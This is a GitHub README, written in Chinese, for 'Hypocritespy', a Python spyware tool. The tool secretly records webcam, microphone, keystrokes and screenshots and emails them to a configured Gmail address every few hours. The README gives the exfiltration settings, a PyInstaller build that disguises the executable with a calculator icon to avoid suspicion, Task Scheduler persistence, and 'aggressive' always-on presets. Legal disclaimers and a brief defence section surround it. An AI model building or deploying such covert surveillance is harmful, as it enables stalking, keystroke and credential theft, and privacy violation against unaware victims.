Ronny12345-art/Hypocritespy
GitHub: Ronny12345-art/Hypocritespy
一个基于 Python 的终端监控工具,演示如何以低频率隐蔽采集并外泄数据,帮助理解与检测此类攻击链。
Stars: 2 | Forks: 0
# Mugabo Rongin 👋

🔴 Hypocritespy
一款基于 Python 的监控工具
由 Ronny Rogers (Mugabo Rongin) 使用 ❤️、☕ 以及有条不紊的混乱打造
⚠️ 重要提示
Hypocritespy 仅旨在用于您拥有或获得明确授权的设备上进行合法的安全测试。未经授权的使用是违法的,并且违反了全球范围内的隐私法。
🎯 概述
Hypocritespy 通过多种向量捕获系统活动,以协助安全研究与测试:
🎥 摄像头录制 – 从默认摄像头捕获视频
🎤 麦克风录音 – 录制环境音频
⌨️ 键盘记录 – 追踪所有键盘输入
🖼️ 屏幕截图 – 定期截取屏幕画面
默认行为:
每 3 小时录制 10 分钟,将收集的数据通过电子邮件发送,然后循环执行。
🛠️ 快速设置
配置脚本
在代码中修改以下四个值:
YOUR_EMAIL = "your_email@gmail.com" # 您的电子邮件地址
APP_PASSWORD = "your_app_specific_password" # 应用密码(不是您常规的电子邮件密码)
RECIPIENT = "receiver@gmail.com" # 用于接收数据的电子邮件
RECORD_DURATION = 600 # 录制时长(秒)(默认 10 分钟)
INTERVAL = 10800 # 会话之间的间隔时间(秒)(默认 3 小时)
构建可执行文件
使用 PyInstaller 搭配常规图标以避免引起怀疑:
pyinstaller --onefile --windowed --icon=calculator.ico main.py
启用开机自启
为了实现持久化,请配置 Windows 任务计划程序以在开机或登录时运行此可执行文件。
🎨 自定义配置
时间预设:
# 快速监控:每小时 1 分钟
RECORD_DURATION = 60
INTERVAL = 3600
# 激进监控:持续执行
RECORD_DURATION = 86400 # 24 小时
INTERVAL = 1 # 立即重复
功能开关:可根据需要在配置中启用或禁用特定模块。
⚠️ 关键注意事项
由于其本质,杀毒软件会将此程序标记为恶意软件。
请务必使用应用专用密码,而不是您的主要电子邮件密码。
仅在隔离的虚拟机或受控环境中进行测试。
在部署前,请核实并遵守当地法律。
在监控他人时,务必获得书面同意。
🛡️ 防范未经授权的监控
为了保护您的系统免受诸如 Hypocritespy 等工具的侵害:
使用信誉良好的杀毒和反恶意软件
定期审查启动项和计划任务
监控出站网络连接
不使用摄像头时,使用物理遮挡物遮盖
📚 合法使用场景
家长控制(在知情同意下)
员工监控(在获得书面同意并符合法律规定下)
个人设备安全研究
授权的渗透测试
网络安全教育研究
🚫 禁止的使用场景
未经明确同意的监控
监视朋友、家人或伴侣
商业间谍活动
任何未经授权的监控
⚖️ 法律免责声明
使用本软件即表示您同意:
您仅将其用于合法和道德的目的
您对自己的行为承担全部责任
开发者不对滥用行为承担责任
您了解未经授权使用的法律后果
📞 更多信息
仅用于教育咨询:
https://ronny12345-art.github.io/ronnyrogers.dev/
👤 关于作者
Ronny Rogers
💻 开发者 | 🛡️ 网络安全专家 | ⚡ 渗透测试员
开发者网站:https://temp-wgktoqotyspoddhwlaln.webadorsite.com/?_gl=1*7vsbd1*_gcl_au*MTczNzc2NDMwMC4xNzY4NjQwODQxLjEzNjc2OTI1MDguMTc2ODY0MDk3MC4xNzY4NjQwOTY5*_ga*MjAyNzI3NjcyMS4xNzY4NjQwNzk2*_ga_E6PZPGE4QM*czE3Njg2NDA3OTQkbzEkZzEkdDE3Njg2NDM5NDkkajYwJGwwJGgyMDMzMTI1NTUz
目的:促进有关监控检测的学习
目标:改进防御性安全措施
道德准则:隐私与同意始终是第一位的
🔐 最后提醒
真正的网络安全力量来源于防御而非入侵。请负责任地使用这些知识来构建更强大的防御——而不是用于侵犯隐私。
版本:1.0 | 仅用于教育目的 | 请负责任地使用
标签:Python, 屏幕截图, 持久化, 摄像头监控, 无后门, 键盘记录, 间谍软件